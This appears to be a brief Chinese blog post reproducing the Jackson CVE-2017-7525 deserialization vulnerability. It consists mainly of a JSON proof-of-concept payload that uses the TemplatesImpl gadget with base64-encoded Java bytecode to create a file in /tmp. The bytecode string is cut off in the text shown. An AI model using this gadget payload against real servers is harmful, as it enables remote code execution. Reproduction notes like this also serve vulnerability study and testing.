jackson-cve-2017-7525

最新推荐文章于 2023-03-01 21:29:51 发布

haha13l4

最新推荐文章于 2023-03-01 21:29:51 发布

阅读量565

点赞数 1

分类专栏：漏洞复现渗透测试

本文链接：https://blog.csdn.net/haha13l4/article/details/107865727

版权

该博客主要讨论了Jackson库中CVE-2017-7525的安全漏洞问题。在文章中，作者提到了在tmp目录下创建一个prove1.txt文件，而创建文件的命令被加密，导致了错误的发生。POC（Proof of Concept）可能提供了关于如何触发这个漏洞的详细信息。

摘要由CSDN通过智能技术生成

jackson-cve-2017-7525

加上接受的内容格式会报错

在这里插入图片描述

在tmp目录下面创建一个prove1.txt文件，创建文件的命令是加密的，怎么加密的我也不知道。

POC

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW5